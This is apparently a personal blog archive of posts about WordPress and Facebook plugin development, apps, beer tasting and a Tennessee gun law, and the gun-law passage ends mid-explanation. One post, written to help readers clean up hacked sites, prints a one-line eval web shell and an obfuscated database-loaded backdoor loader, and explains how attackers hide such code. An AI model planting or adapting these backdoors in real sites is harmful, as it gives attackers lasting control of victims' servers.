The majority of the email I get from users of the Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It’s really not that hard to do, but the plethora of options can seem somewhat intimidating. So here’s the basics of what you need to do.

After creating your application, you’ll need to visit the Apps section in the Facebook Developer Home area. Here you’ll find your application, and the all critical “Edit Settings” link.

Firstly, never give out your Application Secret. If you give this out by accident, then use the Reset Secret Key link to get a new one.

Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you’re building a “Connect” application, not a “Canvas” one. So most of these are meaningless for you. The following ones are what you actually care about:

Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area.

The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look.

Contact Information is obviously important as well, but don’t worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free.

The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an “External Website” as far as Facebook is concerned. If you have either them checked, then your app’s Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience.

The Connect Settings page is probably the most important one. These settings must be filled in and they must be absolutely accurate. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading “www” or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site will not work.

The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook.

Finally, after you have saved those settings, take the time to go back to the main application screen and click the “Edit Application Profile” link. You’ll be taken here, where you can set up the “look” of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will “Fan” your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content.

Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!

I saw this morning that Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.

Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version.

I ended up not using any of Jesse’s code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.

Usage

The SFC Chicklet works in one of a few ways:

• First, it’s a widget if you just want to stick it in a sidebar or something. That’s easy.
• On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.

Configuration (Styling)

Now, unlike Jesse’s FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead.

The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the specificity war, and will take precedence.

Thus, if you want to change the background color of the main box, you can do this:

div.fanBoxChicklet {
background-color:blue;
}

Simple. The “div” makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like.

On the other hand, if you’re a super-themer and want to disable the built-in styles entirely, add this to your theme’s functions.php file:

global $sfc_chicklet_no_style;
$sfc_chicklet_no_style = true;

Extra

And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins.

If you’re a real power user, you might want to display a chicklet for more than one page or application. Well, we’ve got you covered, just call sfc_chicklet(“ID-NUMBER”), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.

Internals

Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there’s no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin.

However, the Facebook code includes a JSON library (if you don’t have one already loading), which means that if you activate this plugin, it’s quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn’t before. Of course, since 2.9 was just released, this is not as big of a deal, really.

The plugin also uses the WordPress Transients API as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven’t upgraded to 2.9 yet.

And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily.

Installation

If you haven’t installed SFC yet, then this chicklet is part of the package. Just download it and install from here:
http://wordpress.org/extend/plugins/simple-facebook-connect/

Alternatively, in a WordPress installation, just go to the “Plugins->Add New” area and search for “Simple Facebook Connect”. You can install the package directly from there.

If you already are using SFC 0.8, then you only need the new file. You can download it separately here:
http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php

Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.

Heard of geotagged tweets yet? Not surprised, a lot of my friends seem to have not caught on to it, so I’m writing this in a possibly futile attempt to get them to try it out.

How to add your location to your tweets

1. Turn on Geotagging. To do this, go to your Twitter settings page. Down under the “Location” section is an option to enable geotagging. Turn it on.

Twitter Settings

2. Get a Twitter client that supports Geotagging. These are generally mobile applications. Tweetie 2 for the iPhone added support for it in 2.1. Several other clients support it as well. Find one.

3. Turn it on in your client. How you do this depends on the client, but it can usually be enabled on a per-tweet basis.

Here’s an example of how it works and looks in Tweetie 2 for the iPhone.

First, you type in a new tweet, and pull open the drop down.

Next, you enable the geotag feature, and you'll see a little red pin appear.

You'll see little maps on tweets with locations attached to them.

Click on the map icon for greater detail.

You can do more with your Twitter location too. For example, this website will read your twitter feed and get your latest location, then send it over to Fire Eagle, which is Yahoo’s location service. Fire Eagle can do all sorts of things, but basically it’s just a service that stores your location for other programs to use. So if you want to display your location on your blog, or on Facebook for your friends to see, or anything else you can think of, you can do that, using nothing more than your already existing tweets.

Why won’t I give you my phone number on Facebook?

Because if you knew what you were doing, you wouldn’t need to ask me for it.

I was reading through my normal morning selection when I ran across this article on TechCrunch detailing how they tricked a bunch of people into giving up their phone number openly.

People, this is unnecessary. Why are you falling for this kind of nonsense?

If you lose your phone, here’s how to get those numbers back. More to the point, here’s how you can get your number to your friends *without* having them ask for it and without it being public knowledge.

Step 1: Set the privacy settings up properly

First, go to the Settings dropdown menu and select Privacy Settings. Then select your Profile, and then click the Contact Information tab. You’ll be here:

All you have to do is select which people you want to be able to see your phone number. I expect you’ll want “Only Friends” to see them. The “Limited Profile” thing is normally excluded from these as well.

Step 2:  Put in your own phone number

This one is easy. Go to your profile page. Click the Info tab. Click to edit the information. Under your contact info, put in the phone number. Hey, you just set it up so only your Friends can see it, so those are the people you’d want to have it. If you’re friends with somebody you *don’t* want to have it, put that friend into the Limited Profile so they can’t see it. Although frankly, in that case, I’d reconsider your “friendship”.

Simple enough.

Step 3: Use the phonebook when you need numbers

Click the Friends dropdown at the top, and select “All Friends”. On the left hand side of the page is the “Phonebook”. Click it.

See how easy that is?

So seriously, stop falling for these scams, people. Use the phonebook. Use the privacy settings. Facebook is perfectly secure, it’s *people* that are idiots and who willingly give out personal information. Take the time to go through your Privacy Settings and make stuff private properly. It’ll save you a lot of effort and annoyance in the long run.

While you’re at it, do yourself a favor and put your Friends into groups, like Work, Family, Drinking Buddies, etc. Then when you setup your privacy settings, you can exclude specific groups of people from seeing specific types of things. Might save your job, you know?

When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It’s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.

It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it’s slightly more difficult to use in that there’s very little good documentation for it. Especially for the most common case: Making your own settings page.

So, here is my little documentation attempt.

Making your own settings page

First, add yourself an options page. Code to do that:

<?php // add the admin options page
add_action('admin_menu', 'plugin_admin_add_page');
function plugin_admin_add_page() {
add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page');
}
?>

What this does is quite simple, really:

a. It adds a link under the settings menu called “Custom Plugin Menu”.
b. When you click it, you go to a page with a title of “Custom Plugin Page”.
c. You must have the “manage_options” capability to get there though (admins only).
d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so “plugin” needs to be something only you will use).
e. And the content of the page itself will be generated by the “plugin_options_page” function.

Oh wait, we need that function! Let’s go ahead and create that, shall we?

<?php // display the admin options page
function plugin_options_page() {
?>
<div>
<h2>My custom plugin</h2>
Options relating to the Custom Plugin.
<form action="options.php" method="post">
<?php settings_fields('plugin_options'); ?>
<?php do_settings_sections('plugin'); ?>

<input name="Submit" type="submit" value="<?php esc_attr_e('Save Changes'); ?>" />
</form></div>

<?php
}?>

Hang on a minute, where’s all the options? Well, here’s where the Settings API kicks in a bit. Up to now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we’re going to use two new functions.

First, we call settings_fields(‘plugin_options’). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string “plugin-options” can be anything, as long as it’s unique. There is another call we’re going to have to make with this same string later.

Next, we call do_settings_sections(‘plugin’). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.

Defining the settings

<?php // add the admin settings and such
add_action('admin_init', 'plugin_admin_init');
function plugin_admin_init(){
register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );
add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin');
add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main');
}?>

Here we’ve done three things. Let’s break that down, shall we?

<?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?>

First, we register the settings. In my case, I’m going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we’d have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense.

Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple.

<?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?>

This creates a “section” of settings.
The first argument is simply a unique id for the section.
The second argument is the title or name of the section (to be output on the page).
The third is a function callback to display the guts of the section itself.
The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call.

That function callback in the third argument should look a bit like this:

<?php function plugin_section_text() {
echo '<p>Main description of this section here.</p>';
} ?>

Simple, really. You can put any HTML you like here.

Now that we’ve talked about the section itself, we need to talk about the fields in that section.

<?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?>

The first argument is simply a unique id for the field.
The second is a title for the field.
The third is a function callback, to display the input box.
The fourth is the page name that this is attached to (same as the do_settings_sections function call).
The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section).

The only difficult one here is, again, the callback. Let’s look at that, shall we?

<?php function plugin_setting_string() {
$options = get_option('plugin_options');
echo "<input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' />";
} ?>

Simple. It just gets the options then outputs the input HTML for it. Note the “name” is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings.

The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we’re using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with ‘thing’ as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted.

Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier:

<?php // validate our options
function plugin_options_validate($input) {
$newinput['text_string'] = trim($input['text_string']);
if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) {
$newinput['text_string'] = '';
}
return $newinput;
}
?>

Here I’m taking a liberty with the code. I’m going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database.

Take special note of the fact that I don’t return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.

And we’re done. Wait, what?

Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them… and that’s it. The actual *display* of the page is even done for you. Remember the input we made? It’ll get put into a table with the title on the left side before it, waiting for input.

Another nice thing is that this is easily expandable. For each option to add we:
1. Do a new add_settings_field call.
2. Make the function to display that particular input.
3. Add code to validate it when it comes back to us from the user.

To add a new section, you:
1. Do a new add_settings_section call.
2. Make the function to display any descriptive text about it.
3. Add settings fields to it as above.

One last thing

Sometimes we don’t need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too!

If you look through the core code, you’ll find references like do_settings_sections(‘general’) or do_settings_sections(‘writing’), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own.

Just do this:
1. Make an add_settings_section call. The last argument should be “general”, or wherever you want to add your new section.
2. Add fields to your new section, using add_settings_field.
3. You still need to make your own settings whitelisted. To do this, you’ll need to make a call to settings_fields. The first argument should be the same as the page name, like ‘general’, or wherever you’re putting your settings. This will let that page recognize and allow your settings to come through.

All the callbacks will basically be the same for this method. You’re just skipping a step of making your own page. Easy.

And there you go. More reading: http://codex.wordpress.org/Settings_API

Working on a new WordPress plugin lately. It’s basically a simple and easy way to make Facebook Connect work with your WordPress based website.

More info about it here: Simple Facebook Connect.

Short list of current features:

• Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.
• Share button, with meta support.
• User status widget
• Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).

Like most things I announce early, it’s not fully featured yet. I’m modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it.

And if you have ideas for how to improve it, please email them to me.

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post.

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

• A backdoor is code that has been added to your site.
• It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
• It will be disguised to seem innocuous, or at least non threatening.
• It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();

1. It retrieves a value from the WordPress database.
2. It pulls a specific section of that value out.
3. It creates a function to run that value as PHP code.
4. It runs that function.

Note how it cleverly avoids all the warning signs.

• Nowhere does it use “eval”.
• base64 is not visible at all.
• The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
2. That code, which does not use any trigger words, loads a nondescript value from the options table.
3. It performs some string operations on that code, then executes it.
4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

Playing around this weekend, I discovered a neat and fun little app for the iPhone.

A lot of new apps have came out for the iPhone lately that are based around driving directions. TomTom came out with theirs for $100, and Navigon is another popular one that runs $90. But, if you want to try out something a little different, this one is free.

Waze is a free driving directions app, with a twist. Basically, the maps on it are “incomplete”. That is, they’ve got the map data, but like all maps, the data is inaccurate. So, to get the data to be better, they’re enlisting your help.

How do you help? Simple. You use the app in the car, then drive around. As you do so, the GPS will be reading your location and noting that there is indeed a street there. It makes it kinda fun to confirm streets in this way since a little Pac-Man like figure appears, eating dots on the map where you are driving, and giving you “points”. The points aren’t useful for much, except a ranking system with everybody else using the app, but it’s fun nevertheless.

So what else? Well, obviously it’ll do driving directions. However, when I tried it to get to my friend’s place at Cooper-Young fest this last weekend, it was laughably wrong. It suggested an 8 mile trek through ridiculous parts of town for no reason. I drove there the normal route instead, letting it complain that I was “off route” all the way and listening to the Waze-pacman gathering up the points as he munched his way down the road. However, something odd happened then. On the way back, when I turned it on, it knew that route. Investigating today, I’ve found that it really doesn’t like to route people on routes that haven’t been “confirmed” yet very much. So, since I’d confirmed that route already, it picked it for my way home.

But there’s a bonus to all that. By confirming the route, it’s getting more than street maps. It’s also getting average speeds. So it can use that information to give optimal routes, knowing how fast each street tends to be.

You can even more than that though. Along the way, you can report events too.

An event is like an auto accident, or a speed trap. Whenever you see one of these, you can touch the report button and report one quickly. If you’re totally stopped in traffic, then you can also type in a short message (it won’t let you do that while moving), and the message will instantly be sent, where other drivers (and their iPhone’s) can see it. Those drivers will then get routed a different way, possibly saving them some time.

Or, even better, somebody else reports a problem, and you get to save some time.

Downsides to the app: Battery life. Like any other GPS app, it sucks the battery right down. You’ll need a car charger to run the thing. Probably a quality iPhone mount too. It does do landscape mode as well, and hidden down in the options is a “3D mode”, which makes the map lay back and look like the more expensive iPhone driving apps, if you prefer that sort of thing. The 2D map is easier to read, to me.

From what I’m reading, Waze has only been around a month or so, and not many people are using it. As far as I can tell, almost nobody in Memphis is using it, since almost all the roads are unconfirmed. But it would be pretty neat if everybody driving around was sharing data like this, what with Memphis traffic being what it is. I sure wouldn’t mind getting routed around half the crap I see on the streets around here.

If you’ve wanted to try out a driving directions app without spending $100 or so, then you cannot beat free. So I highly recommend it. I’m using it all the time now.

According to the Telegraph, Bob Dylan has been approached by multiple GPS manufacturers to be the voice of their GPS system.

While this is ludicrous on the face of it (having listened to Bob for many years, let’s face it, clarity ain’t his strong suit), I find that the best part of the whole story is what people have to say about it. Some of the comments on Digg about this development are truly the greatest remarks I’ve ever seen.

There’s the predictable ones about his clarity, or lack thereof:

“tuhhhhh lef at the lighhhhh”

What?

The natural comparisons to other celebrities doing GPS directions (such as Arnold Schwarzenegger in this case)

“Dis Twaffic sucks. GET TO DAH CHOPPA!”

Or Alan Rickman, which had this as my own contribution:

Hello.

This is

Alan Rickman.

You need to take

a left

in

two hundred

yards.

Do not disappoint me.

And this one:

BILLY MAYS HERE. TURN RIGHT AHEAD POINT 1 MILES.

Or an R. Lee Ermey one:

“I SAID RIGHT YOU WORTHLESS WASTE OF SHIT, I HAVEN’T SEEN DRIVING THIS BAD SINCE I LET MY WIFE DRIVE”

“IF GOD WANTED YOU ON THE TURNPIKE HE WOULD HAVE MIRACLED YOUR ASS ON THERE BY NOW.”

Of course, reworked song lyrics:

Come gather round people wherever you are,
And thank you kindly for using on-star,
And I will help you to maneuver your car,
For the trip you are arranging!
So don’t miss that turn,
And don’t go too far!
Oooh, your destination is a-changing!

Even a pretty decent meta reference comment:

Well, in these modern times, I’m not sure this would be street legal. I mean, when you’re going down highway 61, I’d imagine you’d be fine. You and John Wesley Harding can gaze at the Nashville skyline all you want while using the GPS. But when you’re on those back roads, the system might miss some railroad tracks, leaving you stranded with a slow train coming. If you don’t know to move, oh mercy, there’s going to be blood on the tracks. I can see why one would desire such a GPS, though, as they’ve saved many people from having to drive in circles until the new morning before finding their destination. Well, I guess the times, they are a-changin’, and when you’re out on the road, under a blood red sky and trying to bring it all back home, a GPS will definitely keep you from freewheelin’ for too long.

Digg comments are often a wasteland of human misery and suffering (not as bad as YouTube comments, but close), however this one is pretty good and worth checking out.

I always wondered how Google Maps knew traffic conditions. Today, there’s a blog post where they explain it a bit better.

That ain't on an iPhone...

Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they’re moving. Both of which GPS gives you more or less by default.

It’s a clever idea, and I like it, but it fails in a couple of major ways, IMO.

Firstly, when I use Google Maps on my phone, I tend to not leave it open. Google Maps is fine, but it’s not a very good navigation system. It’s just a map. A real navigation app is worlds better. I recently got Navigon Mobile Navigator on the new iPhone, and it’s pretty slick. Thinking about a dashboard mount for it now, actually.

Secondly, this system relies on a lot of people having Google Maps open and running and sending back data. If nobody with Google Maps running has been on your street recently, you get no information.

What Google really needs to do is to open it up as an API. Let other navigation system manufacturers both send and receive traffic data from the Google Maps system. It doesn’t have to be complex.

Any good navigation app knows your location and speed, so a simple way to send that info could be made easily enough. The problem, of course, is allowing third parties to use the data.

Google Maps works in layers of images, which is one of its major shortcomings, IMO. The street views are images. The terrain are images. Just big sets of tiles that get displayed next to each other. And I’m almost certain that this traffic thing is just another set of images they’re generating or updating. For navigation providers that use 3d views and such, they don’t need that stuff in the form of images, they need it in the form of data. What streets are busy? How can that information be used to improve the navigation? Etc.

Google is generally pretty good at opening up their APIs to third parties. However, they’re generally not good at providing data in different forms. Most of their APIs are “this is what we use, if you need something else we don’t have it” sort of thing. Hopefully, the Google Maps team will see the light here and realize that to get good data, you have to give good data, and start pushing in that direction. Because open traffic data would be pretty cool for everybody.

It occurred to me that some of my friends don’t really know how to taste and describe beer properly. Even my wine friends, descriptive as they are, are pretty poor at describing beer. The methods of tasting are not all that different, really.  There’s more of a snobbery surrounding wine and some of people are loathe to come down to the beer world, even though we beer snobs are far bigger jerks.

But I figured that I’d try and educate some people on the proper way anyway. What the heck, eh?

There’s four steps to tasting a beer. To make it fun, let’s make them all start with the letter S.

1. See.

When a beer is poured it produces a foamy head. This head usually dissipates quickly, leaving behind a bit on top called the “lace”. This same lace remains on the sides of the glass when drinking the beer. Hold up the beer and take note of the color as well. These are all descriptive aspects that help in understanding of the beer.

• Color describes the malts used, or the brewing process.
• The amount of foam describes the carbonation.
• How it dissipates describes the thickness or heavyness of the beer.
• The amount of lace describes the freshness of the beer, the freshness of the hops used.

2. Swirl.

Yes, damnit, swirl it a bit, like you would a wine. This agitation pulls out the scents and carbonations from the brew. It also tests the head retention, which gives you more info about the lacing.

3. Smell.

Smell the beer, obviously. Something like 80-90% of taste is actually smell. It’s the most important part of tasting. Breath deeply of the beer through your nose and then, yes, through your mouth as well. The combination of these two gives you the best experience of the brew. Describe the scents you have. Wheat beers, for example, are often fruity or citrusy, usually because the brewer adds these types of ingredients specifically. Hops have a distinct odor, of course, but different types of hops smell different. Cascade hops (the most common type) smells completely different from fuggle hops, for example, and they are used in completely different types of beers.

4. Sip.

Take a sip, swirl it around your mouth a bit. Don’t swallow right away, let it warm up a small amount. Important bits to remember here:

• Mouthfeel. You see this one a lot in beer circles. What does it feel like? What’s the texture of the beer?
• Consistency. Does the beer change a lot as you taste it? From beginning to end of glass even.
• Breathe out while the beer is in your mouth. This increases the flavor experience. Really. Google “retro-olfaction”.
• What does it taste like? Salty? Bitter? Sweet? Acidic? Oily? Fruity? Beer can taste like just about anything, think of what it’s similar to. Describe what it would go with.

Now, once you’ve done this, describe the beer. Here’s an example for PBR:

Clear golden color, with a 3/4 inch thick white head, which quickly reduced to a minimal thin lacing. Pleasant but subdued scent, mostly sweet lagered malts. Slight amount of grain flavors, with subdued grassy hop undertones. Minimal bitterness. Somewhat fizzy in apperance, but only lightly carbonated flavors. Crisp and dry mouthfeel, with a slight hint of oilyness when warmer. Overall clean flavor, very light malts used. Good session beer, would be excellent with stronger beef or spiced chicken flavors.

Simple.

I’m getting really annoyed with all the hubbub over the latest Tennessee gun law. You know, the one similar to the one passed in Arizona recently? TN and AZ are getting singled out as places that allow guns in bars.

The problem is that it’s not true.

That’s right, it’s just not true. Jon Stewart got it wrong. Stephen Colbert got it wrong. Every major media outlet talking about “guns in bars” got it 100% wrong.

You can’t carry a firearm into a bar in Tennessee. Period. It’s simply a lie.

To understand why it’s a lie, let’s examine the facts. Here’s a section of the TN State Code, before the law changed:.

39-17-1305. Possession of firearm where alcoholic beverages are served.

(a)  It is an offense for a person to possess a firearm within the confines of a building open to the public where liquor, wine or other alcoholic beverages, as defined in § 57-3-101(a)(1)(A), or beer, as defined in § 57-6-102(1), are served for on premises consumption.

(b)  A violation of this section is a Class A misdemeanor.

(c)  The provisions of subsection (a) shall not apply to a person who is:

(1)  In the actual discharge of official duties as a law enforcement officer, or is employed in the army, air force, navy, coast guard or marine service of the United States or any member of the Tennessee national guard in the line of duty and pursuant to military regulations, or is in the actual discharge of duties as a correctional officer employed by a penal institution; or

(2)  On the person’s own premises or premises under the person’s control or who is the employee or agent of the owner of the premises with responsibility for protecting persons or property.

For those of you that can’t read legalese, here’s a quick translation:

• You can’t have a firearm in a place that serves alcohol.
• Doing so is a misdemeanor.
• Exceptions to this rule:
  • If you’re police or military, that’s okay.
  • If you own the place or are a security guard hired by the owner, that’s okay.

Pretty simple, right? No guns except for the obvious exceptions.

Now, look at the text of the new law… Basically, it adds a new exception. Here’s the text itself:

(3)
(A) Authorized to carry a firearm under § 39-17-1351 who is not
consuming beer, wine or any alcoholic beverage, and is within the confines of a
restaurant that is open to the public, serves alcoholic beverages, wine or beer,
and is not an age-restricted venue as defined in § 39-17-1802.
(B) As used in this subdivision (c)(3), “restaurant” means any public
place kept, used, maintained, advertised and held out to the public as a place
where meals are served and where meals are actually and regularly served, such
place being provided with adequate and sanitary kitchen and dining room
equipment, having employed therein a sufficient number and kind of employees
to prepare, cook and serve suitable food for its guests. At least one (1) meal per
day shall be served at least five (5) days a week, with the exception of holidays,
vacations and periods of redecorating, and the serving of such meals shall be the
principal business conducted.
(C) This subdivision (c)(3) is subject to the provisions of § 39-17-1359,
permitting a property owner to post notices on such property prohibiting firearms.

Still don’t get legalese? Well, let’s break it down more simply:

First, 39-17-1351 is the section of the law that defines Handgun Carry permits. So that’s what that is talking about.

Next, 39-17-1802 is part of the new non-smoking law. Wait, what?

